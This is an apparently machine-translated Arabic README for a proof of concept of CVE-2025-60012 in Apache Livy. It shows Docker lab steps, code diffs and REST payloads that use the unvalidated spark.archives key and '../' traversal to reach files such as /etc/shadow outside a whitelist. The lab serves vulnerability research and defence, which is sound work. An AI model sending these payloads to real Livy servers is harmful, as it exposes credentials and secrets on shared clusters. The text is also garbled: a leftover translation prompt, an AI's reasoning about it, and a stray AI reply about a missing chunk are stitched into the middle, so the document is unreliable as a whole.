
POC لثغرة الوصول غير المصرح به إلى الملفات في Apache Livy
لأغراض تعليمية وبحوث أمنية فقط. لا تستخدم ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها. → إخلاء المسؤولية الكامل
| الحقل | التفاصيل |
|---|
| معرّف CVE | CVE-2025-60012 |
| الخطورة | متوسطة (CVSS 6.3) |
| المتأثر | Apache Livy 0.7.0-incubating, 0.8.0-incubating — عند الاتصال بـ Apache Spark 3.1 أو أحدث |
| تم الإصلاح في | Apache Livy 0.9.0-incubating |
| CWE | CWE-20: التحقق غير السليم من المدخلات |
| تاريخ الإفصاح | 2026-03-13 |
| المُبلِّغ | Furue Hideyuki |
يمكن لمستخدم مُصادَق يمتلك حق الوصول إلى واجهة Livy REST أو JDBC إرسال جلسة Spark أو مهمة دفعية بقيم إعدادات مصمَّمة بعناية. يجتمع ضعفان ليتمكّن المهاجم من الرجوع إلى ملفات نظام الملفات المحلي خارج المسارات المسموح بها:
غياب التحقق من spark.archives — قدّم Spark 3.1 خاصية spark.archives كطريقة
موحّدة لتوزيع ملفات الأرشيف عبر جميع مديري العناقيد. قائمة المفاتيح المُرمّزة الثابتة في
Livy 0.8.0 التي تخضع مفاتيح إعداداتها للتحقق من المسار (HARDCODED_SPARK_FILE_LISTS) لا
تتضمن spark.archives. لذلك لا يتم أبدًا فحص المسار المُمرَّر عبر هذا المفتاح مقابل
القائمة البيضاء لنظام الملفات المحلي (livy.file.local-dir-whitelist)، مما يسمح للمهاجم
بالرجوع إلى أي ملف محلي.
تجاوز اجتياز المسار في فحص القائمة البيضاء — حتى بالنسبة لمفاتيح الإعدادات التي يتم
التحقق منها فعليًا، تستخدم مقارنة القائمة البيضاء في Livy 0.8.0 استدعاء startsWith
من Java String على المسار الخام. يمكن للمهاجم تجاوز ذلك باستخدام اجتياز المسار:
/whitelisted/dir/../../etc/passwd يجتاز فحص السلسلة النصية لكنه يُحل إلى خارج
الدليل المسموح به.
LivyConf.scalaالإصدار المعرض (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
الإصدار المُصلَح (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
Session.scalaالإصدار المعرض (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
الإصدار المُصلَح (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
تم استنساخ كلا الإصدارين مباشرة من مستودع Apache Livy الرسمي على GitHub إلى مساحة العمل هذه باستخدام الأوامر الدقيقة التالية:
git clone --depth=1 --branch v0.8.0-incubating
https://github.com/apache/incubator-livy
livy-0.8.0
git clone --depth=1 --branch v0.9.0-incubating
https://github.com/apache/incubator-livy
livy-0.9.0
| الإصدار | الوسم | الالتزام المُحدد | المسار المحلي |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |
## الاختلافات الدقيقة للكود
تم إنشاء الاختلافات عن طريق استنساخ الوسمين محليًا (انظر أعلاه) وتشغيل:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
LivyConf.scala: تمت إضافة spark.archives إلى قائمة الملفات المرمّزة```diffprivate val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES,
**تأثير الإدخال المفقود في v0.8.0:**
عندما يرسل مستخدم جلسة تحتوي على `conf: {"spark.archives": "file:///etc/passwd"}`، فإن Livy
0.8.0 لا يستدعي أبدًا `resolveURIs()` على تلك القيمة ولا يتحقق منها مقابل
`livy.file.local-dir-whitelist`. يتم تمرير المسار إلى Spark دون تحقق.
---
### الإصلاح 2 — `Session.scala`: تطبيع المسار قبل فحص القائمة البيضاء```diff
def resolveURI(uri: URI, livyConf: LivyConf): URI = {
...
if (resolved.getScheme() == "file") {
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
}
التأثير في v0.8.0:
يمكن تجاوز فحص السلسلة النصية الخام startsWith باستخدام حمولة اجتياز المسار.
مثال: إذا كان `livy.file.local-dir-whitelist = /opt/safe-data```` /opt/safe-data/../../../etc/passwd
- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (تم تجاوزه)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
`/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (تم حظره)
## ملخص ناقل الهجوم```
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions (or /batches)
{
"conf": {
"spark.archives": "file:///etc/shadow" ← Attack 1: unvalidated Spark 3.1 key
"spark.jars": "file:///safe/../etc/shadow" ← Attack 2: path traversal bypass
}
}
│
▼
Livy 0.8.0 — validation skipped / bypassed
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
تم تنفيذ والتحقق من جميع خطوات إثبات المفهوم (PoC) هذه على النظام التالي:
| المكوّن | التفاصيل |
|---|---|
| نظام التشغيل المضيف | Ubuntu 24.04.4 LTS (Noble Numbat) |
| النواة | 6.17.0-14-generic x86_64 |
| البنية | x86_64 |
| إجمالي الذاكرة | 15.49 GiB |
| محرك Docker | 28.2.2 |
| JDK المضيف | OpenJDK 17.0.18 (يُستخدم على المضيف فقط — تستخدم الحاويات eclipse-temurin:11-jdk-focal) |
| الصورة الأساسية للحاوية | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| إصدار Spark (لكلتا الصورتين) | 3.1.3 with Hadoop 3.2 |
| إصدار Livy — الصورة القابلة للاستغلال | 0.8.0-incubating (Scala 2.12 build) |
| إصدار Livy — الصورة المصلحة | 0.9.0-incubating (Scala 2.12 build) |
---``` . ├── LICENSE ├── README.md ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ └── livy.conf │ └── vulnerable/ │ ├── Dockerfile │ └── livy.conf ├── livy-0.8.0/ ← Apache Livy 0.8.0-incubating source ├── livy-0.9.0/ ← Apache Livy 0.9.0-incubating source └── test/ └── validate.sh
---
## إثبات المفهوم
### نظرة عامة```
docker/vulnerable/ → image: cve-2025-60012-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-60012-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
التسلسل الكامل من البداية إلى النهاية — اتبع الخطوات من 1 إلى 4 بالترتيب:``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container
> **ملاحظة:** يستغرق Livy حوالي 15–20 ثانية ليصبح جاهزًا بعد `docker run`.
> تتضمن جميع الخطوات أدناه `sleep 20` صريحًا قبل أي استدعاء API.
---
### الخطوة 1 — بناء وتشغيل البيئة القابلة للاستغلال (Livy 0.8.0 + Spark 3.1.3)
**الملفات:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf` — يستمع على `0.0.0.0:8998`، الوضع المحلي، القائمة البيضاء = `/opt/safe-data`
**1a. بناء الصورة:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/
تحقق — تم إنشاء الصورة:```bash docker images cve-2025-60012-vulnerable
Translate the following Kitploit tool content.
This is chunk 23 of 79 from a longer Markdown document being translated in sequence.
The source language is en.
Target language: ar.
Content type: README chunk 23/79.
CHUNK-SPECIFIC RULES:
1. Translate ONLY natural language text. NEVER translate: code blocks, shell commands, file paths, URLs, package names, technical identifiers, CVE IDs, environment variable names.
2. Preserve ALL Markdown syntax EXACTLY as-is.
3. DO NOT add introductory headings like "## Chunk N", "## Part N", "## Continued from..." or "## Translation of chunk...". DO NOT add "End of chunk N" or "Content continues..." markers.
4. DO NOT add "..." ellipsis markers to indicate omission. Translate ONLY the exact text provided, character for character in structure.
5. Chunk boundaries are intentional. Preserve structure so chunks can be concatenated seamlessly without visual artifacts.
6. Return ONLY the translated text. No preamble, no commentary, no wrapping in code blocks, no JSON/YAML/XML, no arrays, no objects, no schemas, no key/value wrappers.
7. If the chunk starts mid-paragraph, continue translating from that point. Do not add a leading newline or indent unless it exists in the source.
INPUT:
Expected output:
So after "INPUT:" there is a blank line, then "Expected output:" appears. That might be the original text to translate: the string "Expected output:" was the input? Or the user intended to show the input and expected output for demonstration, but then left it blank? In translation tasks, sometimes the prompt includes the word "INPUT:" and then the actual source text, and then "Expected output:" maybe a placeholder. But here "Expected output:" is on a new line after the blank. If the actual content to translate is the string "Expected output:" then I need to translate that phrase to Arabic. However, "Expected output:" is a natural language phrase that could be translated. But the instruction says this is chunk 23 of 79 from a README, so it likely would have technical content, not just "Expected output:". I suspect the user accidentally omitted the chunk text. But I must respond based on what's provided. The instruction says "Translate the following Kitploit tool content." Then after the rules, "INPUT:" and then nothing except "Expected output:"? That could be the input: the word "Expected output:" itself. I'll translate that to Arabic. The translation of "Expected output:" as a heading or phrase would be "الناتج المتوقع:" or "المخرجات المتوقعة:". Given context, it's likely a label in a README, so I'll use "الناتج المتوقع:" (the expected output). I'll preserve the colon and formatting. The output should be just that phrase, nothing else. So I'll output "الناتج المتوقع:" in plain text.الناتج المتوقع:``` REPOSITORY TAG IMAGE ID CREATED SIZE cve-2025-60012-vulnerable latest
---
**1b. ابدأ الحاوية:**```bash
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-60012-vulnerable
تحقق — الحاوية قيد التشغيل:```bash docker ps --filter name=livy-vulnerable
## الناتج المتوقع:```
CONTAINER ID IMAGE COMMAND STATUS PORTS
<id> cve-2025-60012-vulnerable "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
1ج. انتظر حتى يبدأ Livy، ثم تحقق من REST API:
يتطلب Livy حوالي 15–20 ثانية للتهيئة قبل أن يقدم الطلبات.```bash sleep 20 curl -s http://localhost:8998/sessions
المخرجات المتوقعة:```json
{"from":0,"total":0,"sessions":[]}
1d. تحقق من تخطيط الدليل داخل الحاوية:
تأكد من وجود الملف الآمن المدرج في القائمة البيضاء:```bash docker exec livy-vulnerable cat /opt/safe-data/safe.txt
الناتج المتوقع:```
This file lives inside the whitelisted directory.
تأكد من أن الملف الحساس المستهدف موجود خارج القائمة البيضاء:```bash docker exec livy-vulnerable cat /opt/sensitive/secret.txt
المخرجات المتوقعة:```
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
يجب أن تظل الحاوية المعرضة للثغرات من الخطوة 1 تعمل على المنفذ 8998.
ماذا يختبر test/validate.sh:
| # | الهجوم | مفتاح الحمولة | النتيجة المتوقعة على Livy 0.8.0 |
|---|---|---|---|
| 1 | spark.archives غير موجود في HARDCODED_SPARK_FILE_LISTS في LivyConf.scala | spark.archives | HTTP 201 — تم قبول المسار دون التحقق منه |
| 2 | اجتياز المسار عبر String.startsWith() في Session.scala | spark.jars مع اجتياز ../ | HTTP 201 — يتجاوز الاجتياز القائمة البيضاء |
2a. شغّل السكربت:```bash bash test/validate.sh
**الإخراج المتوقع:**```
TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key)
WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}
HTTP CODE : 201
RESPONSE : {"id":0,...,"conf":{"spark.archives":"file:///opt/sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
Path was NOT validated — attack vector is open.
TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201
RESPONSE : {"id":1,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
Path was NOT validated — attack vector is open.
RESULT: VULNERABLE — exit code 1
2b. إيقاف وإزالة الحاوية الضعيفة:```bash docker stop livy-vulnerable && docker rm livy-vulnerable
**تحقق — تمت إزالة الحاوية بالكامل:**```bash
docker ps -a --filter name=livy-vulnerable
المخرجات المتوقعة (فارغة — لا توجد صفوف):``` CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
### الخطوة 3 — بناء وتشغيل البيئة المثبّتة (Livy 0.9.0 + Spark 3.1.3)
**الملفات:**
- `docker/fixed/Dockerfile` — صورة أساسية متطابقة وSpark 3.1.3، فقط إصدار Livy يتغير إلى 0.9.0
- `docker/fixed/livy.conf` — مطابق لـ `docker/vulnerable/livy.conf` (نفس القائمة البيضاء، المنفذ، الوضع)
> إن إبقاء Spark والصورة الأساسية وجميع الإعدادات مطابقة للخطوة 1 يعزل Livy باعتباره المتغير الوحيد.
**3أ. بناء الصورة:**```bash
docker build -t cve-2025-60012-fixed docker/fixed/
تحقق — تم إنشاء الصورة:```bash docker images cve-2025-60012-fixed
الناتج المتوقع:```
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-60012-fixed latest <id> <time> <size>
3b. شغّل الحاوية:
---```bash docker run -d --name livy-fixed -p 8998:8998 cve-2025-60012-fixed
**تحقق — الحاوية قيد التشغيل:**```bash
docker ps --filter name=livy-fixed
I don't see any content to translate in this chunk. The input appears to be empty. Please provide the Markdown content for chunk 63, and I'll translate it into Arabic following all the specified rules.``` CONTAINER ID IMAGE COMMAND STATUS PORTS cve-2025-60012-fixed "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
---
**3c. انتظر حتى يبدأ Livy، ثم تحقق من REST API:**```bash
sleep 20
curl -s http://localhost:8998/sessions
الناتج المتوقع:```json {"from":0,"total":0,"sessions":[]}
---
### الخطوة 4 — تشغيل نفس التحقق ضد البيئة المُصلَحة
> يجب أن تكون الحاوية المُصلَحة من الخطوة 3 قيد التشغيل على المنفذ 8998.
> البرنامج النصي مطابق — دون أي تغييرات.
**ما الذي يتغير بين الخطوة 2 والخطوة 4:**
- نفس الحمولات، نفس البرنامج النصي
- يقوم Livy 0.9.0 الآن بالتحقق من `spark.archives` عبر `HARDCODED_SPARK_FILE_LISTS`
- يقوم Livy 0.9.0 الآن بتطبيع المسارات باستخدام `Paths.get().normalize()` قبل فحص القائمة البيضاء
- يتم رفض كلا الهجومين برمز HTTP 400 قبل إنشاء الجلسة
**4a. تشغيل البرنامج النصي:**```bash
bash test/validate.sh
ملاحظة: يعمل
validate.shعلى النحو التالي:
- يستعلم بشكل متكرر من
GET /sessionsحتى يستجيب Livy (حتى 60 ثانية)، مما يؤكد أن الخادم جاهز.- لكل هجوم، يرسل طلب
POST /sessionsعبرcurlمع حمولةconfمصممة خصيصًا لاستهداف ملف خارج القائمة البيضاء (/opt/sensitive/secret.txt).- يقرأ رمز استجابة HTTP: 201 تعني أن Livy قبِل المسار دون تحقق (ثغرة أمنية)؛ 400 تعني أن Livy رفضه عند فحص القائمة البيضاء (تم الإصلاح).
- إذا تم إنشاء جلسة (HTTP 201)، يقوم البرنامج النصي بحذفها فورًا عبر
DELETE /sessions/{id}للحفاظ على الخادم نظيفًا.- بعد الاختبارين، يطبع ملخصًا وينتهي برمز 1 (ثغرة أمنية) أو 0 (تم الإصلاح)، مما يجعله مناسبًا للاستخدام في خطوط الأنابيب الآلية.
المخرجات المتوقعة:``` TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key) WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data) PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}
HTTP CODE : 400 RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400). Path validation blocked the payload.
TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass) WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400 RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400). Path validation blocked the payload.
RESULT: FIXED — exit code 0
**ما تؤكده رسائل الخطأ:**
| الهجوم | HTTP | رسالة الخطأ | السبب الجذري الذي تم إصلاحه |
|--------|------|---------------|-----------------|
| 1 — `spark.archives` | 400 | `Local path /opt/sensitive/secret.txt cannot be added to user sessions.` | تمت إضافة `spark.archives` إلى `HARDCODED_SPARK_FILE_LISTS` في `LivyConf.scala`؛ أصبح المسار الآن يمر بفحص القائمة البيضاء في `resolveURI()` |
| 2 — تجاوز المسار | 400 | `Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions.` | تمت إضافة `Paths.get(...).normalize()` في `Session.scala`؛ يعمل على معالجة `../` قبل المقارنة مع القائمة البيضاء |
**4b. إيقاف وإزالة الحاوية المُصححة:**```bash
docker stop livy-fixed && docker rm livy-fixed
التحقق — تمت إزالة الحاوية بالكامل:```bash docker ps -a --filter name=livy-fixed
المخرجات المتوقعة (فارغة — لا صفوف):```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
يُظهر CVE-2025-60012 أن الثغرة الأمنية لا تتطلب دائمًا تجاوز إجراء أمني — بل يكفي أحيانًا العثور على مسار لم يُوجَّه عبر هذا الإجراء من الأساس.
كانت القائمة البيضاء (livy.file.local-dir-whitelist) موجودة في كلٍّ من Livy 0.8.0 و0.9.0 وتم تكوينها بشكل صحيح في البيئتين. وكانت حالات الفشل في مرحلة سابقة عليها:
سجل مفقود (الهجوم 1): تم تقديم spark.archives في Spark 3.1 كبديل مستقل عن مدير المجموعات لـ spark.yarn.dist.archives. لم يتم تحديث القائمة الداخلية في Livy لمفاتيح الإعدادات التي تُمرَّر مساراتها إلى فحص القائمة البيضاء (HARDCODED_SPARK_FILE_LISTS في LivyConf.scala) لتشمل هذا المفتاح. ومن ثم، كان أي مسار يُمرَّر عبر spark.archives يُرسل إلى Spark دون أي تحقق. لم تتم استشارة القائمة البيضاء إطلاقًا.
خلل منطقي في الفحص نفسه (الهجوم 2): بالنسبة للمفاتيح المسجلة، استخدمت مقارنة القائمة البيضاء في Session.scala دالة String.startsWith() في Java على سلسلة المسار الخام. هذا غير كافٍ لمقارنات مسارات نظام الملفات لأنه لا يأخذ في الحسبان التنقل عبر ... فمسار مثل /opt/safe-data/../sensitive/secret.txt يلبي فحص السلسلة مقابل الإدخال /opt/safe-data في القائمة البيضاء، لكنه في الواقع يُحل إلى موقع خارجها تمامًا.
بأخذ هاتين الثغرتين معًا، يعني ذلك أن مستخدمًا مصادقًا — دون أي صلاحيات خاصة تتجاوز الوصول إلى واجهة Livy REST أو JDBC — يمكنه الإشارة إلى ملفات محلية عشوائية على مضيف خادم Livy. في مجموعة تحليلات مشتركة، يترجم ذلك إلى احتمالية كشف بيانات الاعتماد أو المفاتيح أو ملفات الإعدادات أو أي بيانات يمكن لمستخدم عملية Livy قراءتها.
الإصلاح في 0.9.0 بسيط ومحدد: سطر واحد أُضيف إلى HARDCODED_SPARK_FILE_LISTS (لسد فجوة التسجيل) واستدعاء واحد للدالة Paths.get().normalize() أُضيف قبل مقارنة القائمة البيضاء (لسد ثغرة الالتفاف عبر المسارات). لم يغيّر أيٌّ من التعديلين القائمة البيضاء نفسها، مما يؤكد أن القائمة البيضاء لم تكن المشكلة أبدًا — بل كانت المشكلة أن الكود الذي يغذّيها كان ناقصًا وغير دقيق.
الخلاصة الأساسية للمدافعين: عند نشر Livy مع Spark 3.1 أو أحدث، فإن الترقية إلى Livy 0.9.0-incubating هي العلاج الكامل الوحيد. إن تشديد livy.file.local-dir-whitelist وحده غير كافٍ ضد الهجوم 1، لأن المسارات المُرسلة عبر spark.archives تتجاوز ذلك الفحص تمامًا في الإصدارات المعرضة للخطر.
المساهمات لتحسين هذا الإثبات أو التوثيق مرحّب بها! يرجى التأكد من أن أي مساهمات:
للمساهمة، افتح طلب سحب أو أنشئ issue يصف التغيير المقترح.
هذا المشروع مرخّص بموجب رخصة MIT.
هذا المستودع لأغراض تعليمية وبحوث أمنية فقط. يوضح إثبات المفهوم آليات الثغرة للمساعدة على الفهم والإجراءات الدفاعية. لا تستخدمه ضد أي أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
cve-2025-60012 apache-livy apache-spark path-traversal unauthorized-file-access
cwe-20 improper-input-validation spark-archives livy-0.8.0 livy-0.9.0
security-research proof-of-concept docker java scala
vulnerability-analysis whitelist-bypass file-disclosure rest-api-security